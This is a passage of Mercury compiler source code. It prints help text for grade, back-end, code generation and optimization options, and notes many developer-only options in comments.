interfacing with constraint solvers,\",\n        \"\\tor for backtrackable destructive update.\",\n        \"\\tThis option is not yet supported for the IL, C# or Java back-ends.\",\n        \"--trail-segments\\t\\t\\t(grade modifier: `.trseg')\",\n        \"\\tAs above, but use a dynamically sized trail that is composed\",\n        \"\\tof small segments.  This can help to avoid trail exhaustion\",\n        \"\\tat the cost of increased execution time.\",\n        \"--parallel\\t\\t(grade modifier: `.par')\",\n        \"\\tEnable parallel execution support for the low-level C grades.\",\n        \"\\tEnable concurrency (via pthreads) for the high-level C grades.\",\n        \"--maybe-thread-safe {yes, no}\",\n        \"\\tSpecify how to treat the `maybe_thread_safe' foreign code\",\n        \"\\tattribute.  `yes' means that a foreign procedure with the\",\n        \"\\t`maybe_thread_safe' option is treated as though it has a\",\n        \"\\t`thread_safe' attribute.  `no' means that the foreign\",\n        \"\\tprocedure is treated as though it has a `not_thread_safe'\",\n        \"\\tattribute.  The default is no.\",\n        \"--single-prec-float\\t\\t(grade modifier: `.spf')\",\n        \"\\tUse single precision floats so that, on 32-bit machines,\",\n        \"\\tfloating point values don't need to be boxed.  Double\",\n        \"\\tprecision floats are used by default.\"\n        % This is commented out as this feature is still experimental.\n        %\"--extend-stacks-when-needed\",\n        %\"\\tSpecify that code that increments a stack pointer must\",\n        %\"\\textend the stack when this is needed.\",\n        % RBMM is undocumented since it is still experimental.\n        % should also document rbmmd rbmmp rbmmdp\n        %\"--use-regions\\t\\t(grade modifier: `.rbmm')\",\n        %\"\\tEnable support for region-based memory managment.\"\n        %\"--use-alloc-regions\",\n        %\"\\tCompute and use the exact set of regions\",\n        %\"\\t that may be allocated into by a call.\"\n    ]),\n\n    io.write_string(\"\\n    LLDS back-end compilation model options:\\n\"),\n    write_tabbed_lines([\n\n        \"--gcc-global-registers\\t\\t(grades: reg, fast, asm_fast)\",\n        \"--no-gcc-global-registers\\t(grades: none, jump, asm_jump)\",\n        \"\\tSpecify whether or not to use GNU C's\",\n        \"\\tglobal register variables extension.\",\n        \"\\tThis option is ignored if the `--high-level-code' option is\",\n        \"\\tenabled.\",\n        \"--gcc-non-local-gotos\\t\\t(grades: jump, fast, asm_jump, asm_fast)\",\n        \"--no-gcc-non-local-gotos\\t(grades: none, reg)\",\n        \"\\tSpecify whether or not to use GNU C's\",\n        \"\\t\"\"labels as values\"\" extension.\",\n        \"\\tThis option is ignored if the `--high-level-code' option is\",\n        \"\\tenabled.\",\n        \"--asm-labels\\t\\t\\t(grades: asm_jump, asm_fast)\",\n        \"--no-asm-labels\\t\\t\\t(grades: none, reg, jump, fast)\",\n        \"\\tSpecify whether or not to use GNU C's\",\n        \"\\tasm extensions for inline assembler labels.\",\n        \"\\tThis option is ignored if the `--high-level-code' option is\",\n        \"\\tenabled.\",\n        \"--pic-reg\\t\\t\\t(grade modifier: `.pic_reg')\",\n        \"[For Unix with intel x86 architecture only]\",\n        \"\\tSelect a register usage convention that is compatible,\",\n        \"\\twith position-independent code (gcc's `-fpic' option).\",\n        \"\\tThis is necessary when using shared libraries on Intel x86\",\n        \"\\tsystems running Unix.  On other systems it has no effect.\",\n        \"--stack-segments\\t\\t(grade modifier: `.stseg')\",\n        \"\\tSpecify whether to use dynamically sized stacks that are\",\n        \"\\tcomposed of small segments.  This can help to avoid stack\",\n        \"\\texhaustion at the cost of increased execution time.\",\n        \"\\tThis option is ignored if the `--high-level-code' option is\",\n        \"\\tenabled.\"\n        % This is a developer only option.\n%       \"--use-float-registers\",\n%       \"(This option is not for general use.)\",\n%       \"\\tUse float registers for argument passing.\"\n    ]),\n\n    io.write_string(\"\\n    MLDS back-end compilation model options:\\n\"),\n    write_tabbed_lines([\n% These grades (hl_nest, and hlc_nest) are not yet documented,\n% because the --gcc-nested-functions option is not yet documented.\n%       \"-H, --high-level-code\\t\\t\\t(grades: hl_nest, hlc_nest)\",\n% The ilc grade is not documented because it is not useful;\n% it has been superceded by the il grade.\n        \"-H, --high-level-code\\t\\t\\t(grades: hl, hlc, il, csharp, java)\",\n        \"\\tUse an alternative back-end that generates high-level code\",\n        \"\\trather than the very low-level code that is generated by our\",\n        \"\\toriginal back-end.\",\n% The hl_nest grade is not yet documented,\n% because the --gcc-nested-functions option is not yet documented.\n% because it is not yet supported\n%       \"--high-level-data\\t\\t\\t(grades: hl, hl_nest, il, csharp, java)\",\n        \"--high-level-data\\t\\t\\t(grades: hl, il, csharp, java)\",\n        \"\\tUse an alternative higher-level data representation.\",\n%       \"--high-level\\t\\t\\t(grades: hl, hl_nest, il, csharp, java)\",\n        \"--high-level\\t\\t\\t(grades: hl, il, csharp, java)\",\n        \"\\tAn abbreviation for `--high-level-code --high-level-data'.\"\n% The --gcc-nested-functions option is not yet documented,\n% because it doesn't pass our test suite, and it is\n% probably not very useful.\n%       \"--gcc-nested-functions\\t\\t(grades: hl_nest, hlc_nest)\",\n%       \"\\tSpecify whether or not to use GNU C's nested functions extension.\",\n%       \"\\tThis option is ignored if the `--high-level-code' option is not enabled.\",\n% The --det-copy-out option is not yet documented,\n% because it is not yet tested much and probably not very useful,\n% except for Java, where it is the default.\n%       \"--det-copy-out\",\n%       \"\\tSpecify whether to handle output arguments for det/semidet\",\n%       \"\\tprocedures using return-by-value rather than pass-by-reference.\",\n%       \"\\tThis option is ignored if the `--high-level-code' option is not enabled.\",\n% The --nondet-copy-out option is not yet documented,\n% because it is probably not very useful except for IL and Java,\n% where it is the default.\n%       \"--nondet-copy-out\\t\\t(grades: il, ilc)\",\n%       \"\\tSpecify whether to handle output arguments for nondet\",\n%       \"\\tprocedures using pass-by-value rather than pass-by-reference.\",\n%       \"\\tThis option is ignored if the `--high-level-code' option is not enabled.\",\n% The --put-commit-in-own-func option is not documented because\n% it is enabled automatically (by handle_options) in the situations\n% where it is needed; the user should never need to set it.\n%       \"--put-commit-in-own-func\",\n%       \"\\tPut each commit in its own C function.\",\n%       \"\\tThis option only affects the MLDS back-ends.\",\n%       \"\\tIt is needed for the high-level C back-end,\",\n%       \"\\twhere commits are implemented via setjmp()/longjmp(),\",\n%       \"\\tsince longjmp() may clobber any non-volatile local vars\",\n%       \"\\tin the function that called setjmp().\",\n% The --put-nondet-env-on-heap option is not documented because\n% it is enabled automatically (by handle_options) in the situations\n% where it is needed; the user should never need to set it.\n%       \"--put-nondet-env-on-heap\",\n%       \"\\tAllocate the environment structures used for\",\n%       \"\\tnondeterministic Mercury procedures on the heap,\",\n%       \"\\trather than on the stack.\"\n%   ]),\n%   io.write_string(\"\\n      IL back-end compilation model options:\\n\"),\n%   write_tabbed_lines([\n%\n% The --verifiable-code option is not yet documented because it is not yet fully\n% implemented.\n%       \"--verifiable, --verifiable-code\\t\\t\\t\",\n%       \"\\tEnsure that the generated IL code is verifiable.\",\n%\n% The --il-refany-fields option is not documented because currently there\n% are no IL implementations for which it is useful.\n%       \"--il-refany-fields\",\n%       \"\\tGenerate IL code that assumes that the CLI implementation\",\n%       \"\\tsupports value types with fields of type `refany'.\",\n%       \"\\tUsing this option could in theory allow more efficient\",\n%       \"\\tverifiable IL code for nondeterministic Mercury procedures,\",\n%       \"\\tif the CLI implementation supported it.\"\n%       \"\\tHowever, the current Microsoft CLR does not support it.\"\n%\n% The --il-byref-tailcalls option is not documented because currently there\n% are no IL implementations for which it is useful.\n%       \"--il-byref-tailcalls\",\n%       \"\\tGenerate IL code that assumes that the CLI verifier\",\n%       \"\\tsupports tail calls with byref arguments.\"\n%\n% The --il-funcptr-types option is not documented because it is not yet\n% implemented.\n%       \"--il-funcptr-types\",\n%       \"\\tGenerate IL code that assumes that the IL assembler\",\n%       \"\\tsupports function pointer types.\"\n%       \"\\tThe ECMA CLI specification allows function pointer types,\"\n%       \"\\tbut some CLR implementations, e.g. the old Beta 2 version of\"\n%       \"\\tthe Microsoft CLR implementation, do not support them.\"\n    ]),\n\n    io.write_string(\"\\n    Developer compilation model options:\\n\"),\n    io.write_string(\"\\n      Data representation\\n\"),\n    write_tabbed_lines([\n        \"--tags {none, low, high}      (This option is not for general use.)\",\n        \"\\tSpecify whether to use the low bits or the high bits of \",\n        \"\\teach word as tag bits (default: low).\",\n    %   \"\\t\\t`--tags none' implies `--num-tag-bits 0'.\",\n        \"--num-tag-bits <n>            (This option is not for general use.)\",\n        \"\\tUse <n> tag bits.\",\n        \"--num-reserved-addresses <n>  (This option is not for general use.)\",\n        \"\\tTreat the integer values from 0 up to <n> - 1 as reserved\",\n        \"\\taddresses that can be used to represent nullary constructors\",\n        \"\\t(constants) of discriminated union types.\",\n        \"--num-reserved-objects <n>    (This option is not for general use.)\",\n        \"\\tAllocate up to <n> global objects per type,\",\n        \"\\tfor representing nullary constructors\",\n        \"\\t(constants) of discriminated union types.\"\n\n        % The --conf-low-tag-bits option is reserved for use\n        % by the `mmc' script; it is deliberately not documented.\n\n        % The --bits-per-word option is intended for use\n        % by the `mmc' script; it is deliberately not documented.\n\n        % The --bytes-per-word option is intended for use\n        % by the `mmc' script; it is deliberately not documented.\n\n        % This is a developer only option.\n%       \"--unboxed-float\",\n%       \"(This option is not for general use.)\",\n%       \"\\tDon't box floating point numbers.\",\n%       \"\\tThis assumes that a Mercury float will fit in a word.\",\n%       \"\\tThe C code needs to be compiled with `-UBOXED_FLOAT'.\",\n%       \"\\tIt may also need to be compiled with\",\n%       \"\\t`-DUSE_SINGLE_PREC_FLOAT', if double precision\",\n%       \"\\tfloats don't fit into a word.\"\n\n        % This is a developer only option.\n%       \"--no-unboxed-enums\",\n%       \"(This option is not for general use.)\",\n%       \"\\tBox enumerations.  This option is disabled by default.\",\n\n        % This is a developer only option.\n%       \"--no-unboxed-no-tag-types\",\n%       \"(This option is not for general use.)\",\n%       \"\\tBox no-tag types.  This option is disabled by default.\"\n\n    ]),\n    io.write_string(\"\\n      Developer optional features\\n\"),\n    write_tabbed_lines([\n        \"--use-minimal-model-stack-copy\",\n        \"(This option is not for general use.)\",\n        \"\\tEnable the use of the standard form of minimal model tabling.\",\n\n        \"--use-minimal-model-own-stacks\",\n        \"(This option is not for general use.)\",\n        \"\\tEnable the use of an experimental form of minimal model tabling.\",\n\n        \"--minimal-model-debug\",\n        \"(This option is not for general use.)\",\n        \"\\tEnables extra data structures that assist in debugging\",\n        \"\\tminimal model tabling.\",\n\n        \"--no-type-layout\",\n        \"(This option is not for general use.)\",\n        \"\\tDon't output type_ctor_layout structures or references\",\n        \"\\tto them. (The C code also needs to be compiled with\",\n        \"\\t`-DNO_TYPE_LAYOUT').\"\n\n        % This is a developer only option.\n%       \"--basic-stack-layout\",\n%       \"(This option is not for general use.)\",\n%       \"\\tGenerate the simple stack_layout structures required\",\n%       \"\\tfor stack traces.\",\n\n        % This is a developer only option.\n%       \"--agc-stack-layout\",\n%       \"(This option is not for general use.)\",\n%       \"\\tGenerate the stack_layout structures required for\",\n%       \"\\taccurate garbage collection.\",\n\n        % This is a developer only option.\n%       \"--procid-stack-layout\",\n%       \"(This option is not for general use.)\",\n%       \"\\tGenerate the stack_layout structures required for\",\n%       \"\\tlooking up procedure identification information.\",\n\n        % This is a developer only option.\n%       \"--trace-stack-layout\",\n%       \"(This option is not for general use.)\",\n%       \"\\tGenerate the stack_layout structures required for\",\n%       \"\\texecution tracing.\",\n\n        % This is a developer only option.\n%       \"--body-typeinfo-liveness\",\n%       \"(This option is not for general use.)\",\n%       For documentation, see the comment in the type declaration.\n\n        % This is a developer only option.\n%       \"--can-compare-constants-as-ints\",\n%       \"(This option is not for general use.)\",\n%       For documentation, see the comment in the type declaration.\n\n        % This is a developer only option.\n%       \"--pretest-equality-cast-pointers\",\n%       \"(This option is not for general use.)\",\n%       For documentation, see the comment in the type declaration.\n\n        % This is a developer only option.\n%       \"--can-compare-compound-values\"\n%       \"(This option is not for general use.)\",\n%       For documentation, see the comment in the type declaration.\n\n        % This is a developer only option.\n%       \"--lexically-order-constructors\"\n%       \"(This option is not for general use.)\",\n%       For documentation, see the comment in the type declaration.\n\n        % This is a developer only option.\n%       \"--mutable-always-boxed\",\n%       \"(This option is not for general use.)\",\n%       For documentation, see the comment in the type declaration.\n\n        % This is a developer only option.\n%       \"--delay-partial-instantiations\",\n%       \"(This option is not for general use.)\",\n%       For documentation, see delay_partial_inst.m\n\n        % This is a developer only option.\n%       \"--allow-defn-of-builtins\",\n%       \"(This option is not for general use.)\",\n%       For documentation, see the comment in the type declaration.\n\n        % This is a developer only option.\n%       \"--special-preds\",\n%       \"(This option is not for general use.)\",\n%       For documentation, see the comment in the type declaration.\n\n        % All these are developer only options.\n%       \"(These options are not for general use.)\",\n%       For documentation, see runtime/mercury_region.h.\n%       \"--size-region-ite-fixed\"\n%       \"--size-region-disj-fixed\"\n%       \"--size-region-commit-fixed\"\n%       \"--size-region-ite-protect\"\n%       \"--size-region-ite-snapshot\"\n%       \"--size-region-disj-protect\"\n%       \"--size-region-disj-snapshot\"\n%       \"--size-region-commit-entry\"\n\n        % This is a developer only option.\n%       \"--solver-type-auto-init\",\n%       \"(This option is not for general use.)\",\n%       Allow automatic initialisation of solver types.\n\n        % This is a developer only option.\n%       \"--allow-multi-arm-switches\",\n%       \"(This option is not for general use.)\",\n%       Allow the compiler to generate switches in which one arm handles\n%       more than one cons_id.\n\n        % This is a developer only option.\n%       \"--type-check-constraints\",\n%       \"(This option is not for general use.)\",\n%       Use the constraint based type checker instead of the old one.\n\n        % This is a developer only option.\n%       \"--allow-argument-packing\",\n%       \"(This option is not for general use.)\",\n%       Allow the compiler to pack multiple constructor arguments into\n%       a single field.\n    ]).\n\n:- pred options_help_code_generation(io::di, io::uo) is det.\n\noptions_help_code_generation -->\n    io.write_string(\"\\nCode generation options:\\n\"),\n    write_tabbed_lines([\n%       \"--low-level-debug\",\n%       \"\\tEnables various low-level debugging stuff, that was in\",\n%       \"\\tthe distant past used to debug the low-level code generation.\",\n%       \"\\tYou don't want to use this option unless you are hacking\",\n%       \"\\tthe Mercury compiler itself (and probably not even then).\",\n%       \"\\tCauses the generated code to become VERY big and VERY\",\n%       \"\\tinefficient.  Slows down compilation a LOT.\",\n\n%       \"--table-debug\",\n%       \"\\tEnables the generation of code that helps to debug tabling\",\n%       \"\\tprimitives.\",\n\n        \"--no-trad-passes\",\n        \"\\tThe default `--trad-passes' completely processes each predicate\",\n        \"\\tbefore going on to the next predicate.\",\n        \"\\tThis option tells the compiler\",\n        \"\\tto complete each phase of code generation on all predicates\",\n        \"\\tbefore going on the next phase on all predicates.\",\n    %   \"--parallel-liveness\",\n    %   \"Use multiple threads when computing liveness.\",\n    %   \"At the moment this option implies `--no-trad-passes',\",\n    %   \"and requires the compiler to be built in a\",\n    %   \"low-level parallel grade and running with multiple engines.\",\n    %   \"--parallel-code-gen\",\n    %   \"Use multiple threads when generating code.\",\n    %   \"At the moment this option implies `--no-trad-passes',\",\n    %   \"and requires the compiler to be built in a\",\n    %   \"low-level parallel grade and running with multiple engines.\",\n    %   \"\\t--no-polymorphism\",\n    %   \"\\t\\tDon't handle polymorphic types.\",\n    %   \"\\t\\t(Generates slightly more efficient code, but stops\",\n    %   \"\\t\\tpolymorphism from working except in special cases.)\",\n        \"--no-reclaim-heap-on-nondet-failure\",\n        \"\\tDon't reclaim heap on backtracking in nondet code.\",\n        \"--no-reclaim-heap-on-semidet-failure\",\n        \"\\tDon't reclaim heap on backtracking in semidet code.\",\n        \"--no-reclaim-heap-on-failure\",\n        \"\\tCombines the effect of the two options above.\",\n\n        \"--max-jump-table-size=<n>\",\n        \"\\tThe maximum number of entries a jump table can have.\",\n        \"\\tThe special value 0 indicates the table size is unlimited.\",\n        \"\\tThis option can be useful to avoid exceeding fixed limits\",\n        \"\\timposed by some C compilers.\",\n\n        % This is a developer only option.\n%       \"--compare-specialization=<n>\",\n%       \"\\tGenerate quadratic instead of linear compare predicates for\",\n%       \"\\ttypes with up to n function symbols. Higher values of n lead to\",\n%       \"\\tfaster but also bigger compare predicates.\",\n\n        % This is a developer only option.\n%       \"--no-should-pretest-equality\",\n%       \"\\tIf specified, do not add a test for the two values being equal\",\n%       \"\\tas words to the starts of potentially expensive unify and compare\",\n%       \"\\tpredicates.\"\n\n        \"--fact-table-max-array-size <n>\",\n        \"\\tSpecify the maximum number of elements in a single\",\n        \"\\t`:- pragma fact_table' data array (default: 1024).\",\n        \"--fact-table-hash-percent-full <percentage>\",\n        \"\\tSpecify how full the `:- pragma fact_table' hash tables\",\n        \"\\tshould be allowed to get.  Given as an integer percentage\",\n        \"\\t(valid range: 1 to 100, default: 90).\"\n\n% This option is not yet documented because the `--gcc-nested-functions' option\n% is not documented.\n%       \"--gcc-local-labels\",\n%       \"\\tThis option has no effect unless both the `--high-level-code' option\",\n%       \"\\tand the `--gcc-nested-functions' options are enabled.\",\n%       \"\\tIf this option is enabled, the Mercury compiler will generate\",\n%       \"\\tC code that uses GNU C's local labels extension to allow\",\n%       \"\\tGNU C nested functions to exit into their containing function\",\n%       \"\\tvia a `goto'.\",\n%       \"\\tIf this option is not enabled, the default behaviour is to\",\n%       \"\\tuse the standard ANSI/ISO C setjmp() and longjmp() functions.\"\n\n% This option is not yet documented because it is not yet useful -- currently\n% we don't take advantage of GNU C's computed gotos extension.\n%       \"--no-prefer-switch\",\n%       \"\\tGenerate code using computed gotos rather than switches.\",\n%       \"\\tThis makes the generated code less readable, but potentially\",\n%       \"\\tslightly more efficient.\",\n%       \"\\tThis option has no effect unless the `--high-level-code' option\",\n%       \"\\tis enabled.  It also has no effect if the `--target' option is\",\n%       \"\\tset to `il'.\",\n% This optimization is for implementors only. Turning this option on provides\n% the fairest possible test of --optimize-saved-vars-cell.\n%       \"--no-opt-no-return-calls\",\n%       \"\\tDo not optimize the stack usage of calls that cannot return.\",\n\n    ]),\n\n    io.write_string(\"\\n    Code generation target options:\\n\"),\n    write_tabbed_lines([\n        \"--branch-delay-slot    \\t(This option is not for general use.)\",\n        \"\\tAssume that branch instructions have a delay slot.\",\n        \"--num-real-r-regs <n>  \\t(This option is not for general use.)\",\n        \"\\tAssume registers r1 up to r<n> are real general purpose\",\n        \"\\tregisters.\",\n        \"--num-real-f-regs <n>  \\t(This option is not for general use.)\",\n        \"\\tAssume registers f1 up to f<n> are real floating point\",\n        \"\\tregisters.\",\n        \"--num-real-r-temps <n> \\t(This option is not for general use.)\",\n        \"\\tAssume that <n> non-float temporaries will fit into\",\n        \"\\treal machine registers.\",\n        \"--num-real-f-temps <n> \\t(This option is not for general use.)\",\n        \"\\tAssume that <n> float temporaries will fit into\",\n        \"\\treal machine registers.\"\n    ]).\n\n:- pred options_help_optimization(io::di, io::uo) is det.\n\noptions_help_optimization -->\n    io.write_string(\"\\nOptimization Options:\\n\"),\n    write_tabbed_lines([\n        \"-O <n>, --opt-level <n>, --optimization-level <n>\",\n        \"\\tSet optimization level to <n>.\",\n        \"\\tOptimization level -1 means no optimization\",\n        \"\\twhile optimization level 6 means full optimization.\",\n    %   \"\\t\\tFor a full description of each optimization level,\",\n    %   \"\\t\\tsee the Mercury User's Guide.\",\n        \"--opt-space, --optimize-space\",\n        \"\\tTurn on optimizations that reduce code size\",\n        \"\\tand turn off optimizations that significantly\",\n        \"\\tincrease code size.\",\n        \"--intermod-opt\",\n        \"--intermodule-optimization\",\n        \"\\tPerform inlining and higher-order specialization of\",\n        \"\\tthe code for predicates imported from other modules.\",\n        \"\\tThis option must be set throughout the compilation process.\",\n        \"--trans-intermod-opt\",\n        \"--transitive-intermodule-optimization\",\n        \"\\tImport the transitive intermodule optimization data.\",\n        \"\\tThis data is imported from `<module>.trans_opt' files.\",\n        \"\\tNote that `--transitive-intermodule-optimization' does not\",\n        \"\\twork with `mmc --make'.\",\n        \"--no-read-opt-files-transitively\",\n        \"\\tOnly read the inter-module optimization information\",\n        \"\\tfor directly imported modules, not the transitive\",\n        \"\\tclosure of the imports.\",\n        \"--use-opt-files\",\n        \"\\tPerform inter-module optimization using any\",\n        \"\\t`.opt' files which are already built,\",\n        \"\\te.g. those for the standard library, but do\",\n        \"\\tnot build any others.\",\n        \"--use-trans-opt-files\",\n        \"\\tPerform inter-module optimization using any\",\n        \"\\t`.trans_opt' files which are already built,\",\n        \"\\te.g. those for the standard library, but do\",\n        \"\\tnot build any others.\",\n        \"--intermodule-analysis\",\n        \"\\tPerform analyses such as termination analysis and\",\n        \"\\tunused argument elimination across module boundaries.\",\n        \"\\tThis option is not yet fully implemented.\",\n        \"--analysis-repeat <n>\",\n        \"\\tThe maximum number of times to repeat analyses of\",\n        \"\\tsuboptimal modules with `--intermodule-analysis'\",\n        \"\\t(default: 0).\"\n        % This is commented out as this feature is still experimental.\n%       \"--analysis-file-cache\",\n%       \"\\tEnable caching of parsed analysis files. This may\",\n%       \"\\timprove compile times with `--intermodule-analysis'.\"\n    ]).\n\n:- pred options_help_hlds_hlds_optimization(io::di, io::uo) is det.\n\noptions_help_hlds_hlds_optimization -->\n    io.write_string(\"\\n    High-level (HLDS -> HLDS) optimizations:\\n\"),\n    write_tabbed_lines([\n        \"--no-inlining\",\n        \"\\tDisable all forms of inlining.\",\n        \"--no-inline-simple\",\n        \"\\tDisable the inlining of simple procedures.\",\n        \"--no-inline-builtins\",\n        \"\\tGenerate builtins (e.g. arithmetic operators) as calls to\",\n        \"\\tout of line procedures.  This is done by default when,\",\n        \"\\tdebugging, as without this option the execution of\",\n        \"\\tbuiltins is not traced.\",\n        \"--no-inline-single-use\",\n        \"\\tDisable the inlining of procedures called only once.\",\n        \"--inline-call-cost <cost>\",\n        \"\\tAssume that the cost of a call is the given parameter.\",\n        \"\\tUsed only in conjunction with --inline-compound-threshold.\",\n        \"\\tmultiplied by the number of times it is called,\",\n        \"--inline-compound-threshold <threshold>\",\n        \"\\tInline a procedure if its size (measured roughly\",\n        \"\\tin terms of the number of connectives in its internal form)\",\n        \"\\tless the assumed call cost, multiplied by the number of times\",\n        \"\\tit is called is below the given threshold.\",\n        \"--inline-simple-threshold <threshold>\",\n        \"\\tInline a procedure if its size is less than the\",\n        \"\\tgiven threshold.\",\n        \"--intermod-inline-simple-threshold\",\n        \"\\tSimilar to `--inline-simple-threshold', except used to\",\n        \"\\tdetermine which predicates should be included in\",\n        \"\\t`.opt' files. Note that changing this between writing\",\n        \"\\tthe `.opt' file and compiling to C may cause link errors,\",\n        \"\\tand too high a value may result in reduced performance.\",\n        \"--inline-vars-threshold <threshold>\",\n        \"\\tDon't inline a call if it would result in a procedure\",\n        \"\\tcontaining more than <threshold> variables. Procedures\",\n        \"\\tcontaining large numbers of variables can cause\",\n        \"\\tslow compilation.\",\n%       \"--from-ground-term-threshold <n>\",\n%       \"\\tWrap a from_ground_term scope around the expanded,\",\n%       \"\\tsuperhomogeneous form of a ground term that involves at least.\",\n%       \"\\tthe given number of function symbols.\",\n        \"--no-const-struct\",\n        \"\\tDisable the gathering of constant structures in a separate table.\",\n        \"--no-common-struct\",\n        \"\\tDisable optimization of common term structures.\",\n%       \"--common-struct-preds <predids>\",\n%       \"\\tLimit common struct optimization to the preds with the given ids.\",\n\n%       Common goal optimization should not be turned off, since it can\n%       break programs that would otherwise compile properly (e.g.,\n%       benchmarks/icfp2000). This is kept as a developer-only option.\n%\n%       \"--no-common-goal\",\n%       \"\\tDisable optimization of common goals.\",\n%       \"\\tAt the moment this optimization\",\n%       \"\\tdetects only common deconstruction unifications.\",\n%       \"\\tDisabling this optimization reduces the class of predicates\",\n%       \"\\tthat the compiler considers to be deterministic.\",\n\n        \"--constraint-propagation\",\n        \"\\tEnable the constraint propagation transformation,\",\n        \"\\twhich attempts to transform the code so that goals\",\n        \"\\twhich can fail are executed as early as possible.\",\n        \"--local-constraint-propagation\",\n        \"\\tEnable the constraint propagation transformation,\",\n        \"\\tbut only rearrange goals within each procedure.\",\n        \"\\tSpecialized versions of procedures will not be created.\",\n        \"--prev-code\",\n        \"\\tMigrate into the start of branched goals.\",\n        \"--no-follow-code\",\n        \"\\tDon't migrate into the end of branched goals.\",\n        \"--excess-assign\",\n        \"\\tRemove excess assignment unifications.\",\n        \"--no-optimize-format-calls\",\n        \"\\tDo not attempt to interpret the format string in calls to\",\n        \"\\tstring.format and related predicates at compile time;\",\n        \"\\talways leave this to be done at runtime.\",\n        \"--optimize-duplicate-calls\",\n        \"\\tOptimize away multiple calls to a predicate\",\n        \"\\twith the same input arguments.\",\n        \"--loop-invariants\",\n        \"\\tHoist loop invariants out of loops.\",\n        \"--delay-constructs\",\n        \"\\tReorder goals to move construction unifications after\",\n        \"\\tprimitive goals that can fail.\",\n        % \"--optimize-saved-vars-const\",\n        % \"\\tMinimize the number of variables saved across calls by\",\n        % \"\\tintroducing duplicate copies of variables bound to\",\n        % \"\\tconstants in each interval between flushes where they\",\n        % \"\\tare needed.\",\n        % \"--optimize-saved-vars-cell\",\n        % \"\\tMinimize the number of variables saved across calls by\",\n        % \"\\ttrying to use saved variables pointing to cells to reach\",\n        % \"\\tthe variables stored in those cells.\",\n        \"--optimize-saved-vars\",\n        \"\\tMinimize the number of variables saved across calls.\",\n        \"--optimize-unused-args\",\n        \"\\tRemove unused predicate arguments.\",\n        \"\\tThis will cause the compiler to generate more\",\n        \"\\tefficient code for many polymorphic predicates.\",\n        \"--intermod-unused-args\",\n        \"\\tPerform unused argument removal across module boundaries.\",\n        \"\\tThis option implies `--optimize-unused-args' and\",\n        \"\\t`--intermodule-optimization'.\",\n\n        \"--optimize-higher-order\",\n        \"\\tEnable specialization of higher-order predicates.\",\n        \"--type-specialization\",\n        \"\\tEnable specialization of polymorphic predicates where the\",\n        \"\\tpolymorphic types are known.\",\n        \"--user-guided-type-specialization\",\n        \"\\tEnable specialization of polymorphic predicates for which\",\n        \"\\tthere are `:- pragma type_spec' declarations.\",\n        \"--higher-order-size-limit\",\n        \"\\tSet the maximum goal size of specialized versions created by\",\n        \"\\t`--optimize-higher-order' and `--type-specialization'.\",\n        \"\\tGoal size is measured as the number of calls, unifications\",\n        \"\\tand branched goals.\",\n        \"--higher-order-arg-limit\",\n        \"\\tSet the maximum size of higher-order arguments to\",\n        \"\\tbe specialized by `--optimize-higher-order' and\",\n        \"\\t`--type-specialization'.\",\n        \"--unneeded-code\",\n        \"\\tRemove goals from computation paths where their outputs are\",\n        \"\\tnot needed, provided the semantics options allow the deletion\",\n        \"\\tor movement of the goal.\",\n        \"--unneeded-code-copy-limit\",\n        \"\\tGives the maximum number of places to which a goal may be copied\",\n        \"\\twhen removing it from computation paths on which its outputs are\",\n        \"\\tnot needed. A value of zero forbids goal movement and allows\",\n        \"\\tonly goal deletion; a value of one prevents any increase in the\",\n        \"\\tsize of the code.\",\n%       \"--unneeded-code-debug\",\n%       \"\\tPrint progress messages during the unneeded code elimination\",\n%       \"\\tpasses.\",\n%       \"--unneeded-code-debug-pred-name <predname>\",\n%       \"\\tPrint the definition of <predname> at the start of each pass\",\n%       \"\\tof the unneeded code elimination algorithm.\",\n        \"--introduce-accumulators\",\n        \"\\tAttempt to introduce accumulating variables into\",\n        \"\\tprocedures, so as to make them tail recursive.\",\n%       \"--optimize-constructor-last-call-accumulator\",\n%       \"\\tEnable the optimization via accumulators of \"\"last\"\" calls\",\n%       \"\\tthat are followed by constructor application.\",\n%       \"--optimize-constructor-last-call-null\",\n%       \"\\tWhen --optimize-constructor-last-call is enabled, put NULL in\"\n%       \"\\tuninitialized fields (to prevent the garbage collector from\",\n%       \"\\tlooking at and following a random bit pattern).\",\n        \"--optimize-constructor-last-call\",\n        \"\\tEnable the optimization of \"\"last\"\" calls that are followed by\",\n        \"\\tconstructor application.\",\n        \"--deforestation\",\n        \"\\tEnable deforestation. Deforestation is a program\",\n        \"\\ttransformation whose aim is to avoid the construction of\",\n        \"\\tintermediate data structures and to avoid repeated traversals\",\n        \"\\tover data structures within a conjunction.\",\n        \"--deforestation-depth-limit <limit>\",\n        \"\\tSpecify a depth limit to prevent infinite loops in the\",\n        \"\\tdeforestation algorithm.\",\n        \"\\tA value of -1 specifies no depth limit. The default is 4.\",\n        \"--deforestation-vars-threshold <threshold>\",\n        \"\\tSpecify a rough limit on the number of variables\",\n        \"\\tin a procedure created by deforestation.\",\n        \"\\tA value of -1 specifies no limit. The default is 200.\",\n        \"--deforestation-size-threshold <threshold>\",\n        \"\\tSpecify a rough limit on the size of a goal\",\n        \"\\tto be optimized by deforestation.\",\n        \"\\tA value of -1 specifies no limit. The default is 15.\",\n        \"--analyse-exceptions\",\n        \"\\tEnable exception analysis.  Identify those\",\n        \"\\tprocedures that will not throw an exception.\",\n        \"\\tSome optimizations can make use of this information.\",\n% XXX The options controlling closure analysis are currently\n% commented out because it isn't useful.  It can be uncommented when\n% we actually have something that uses it.\n%       \"--analyse-closures\",\n%       \"\\tEnable closure analysis.  Try to identify the possible\",\n%       \"\\tvalues that higher-order valued variables can take.\",\n%       \"\\tSome optimizations can make use of this information.\",\n        \"--analyse-trail-usage\",\n        \"\\tEnable trail usage analysis.  Identify those\",\n        \"\\tprocedures that will not modify the trail.\",\n        \"\\tThis information is used to reduce the overhead\",\n        \"\\tof trailing.\",\n% `--no-optimize-trail-usage' is a developer-only option.\n% It is intended for the benchmarking of trail usage optimization.\n% Otherwise, it should not be turned off as doing so interferes with\n% the results of the trail usage analysis.\n        % \"--no-optimize-trail-usage\",\n        % \"\\tDo not try and restrict trailing to those parts\",\n        % \"\\tof the program that actually use it.\",\n% `--no-optimize-region-ops' is a developer-only option.\n% It is intended for the benchmarking of region ops optimization.\n        % \"--no-optimize-region-ops\",\n        % \"\\tDo not try and restrict region operations to those parts\",\n        % \"\\tof the program that actually use it.\",\n        \"--analyse-mm-tabling\",\n        \"\\tIdentify those goals that do not call procedures\",\n        \"\\tthat are evaluated using minimal model tabling.\",\n        \"\\tThis information is used to reduce the overhead\",\n        \"\\tof minimal model tabling.\"\n        % \"--untuple\",\n        % \"\\tExpand 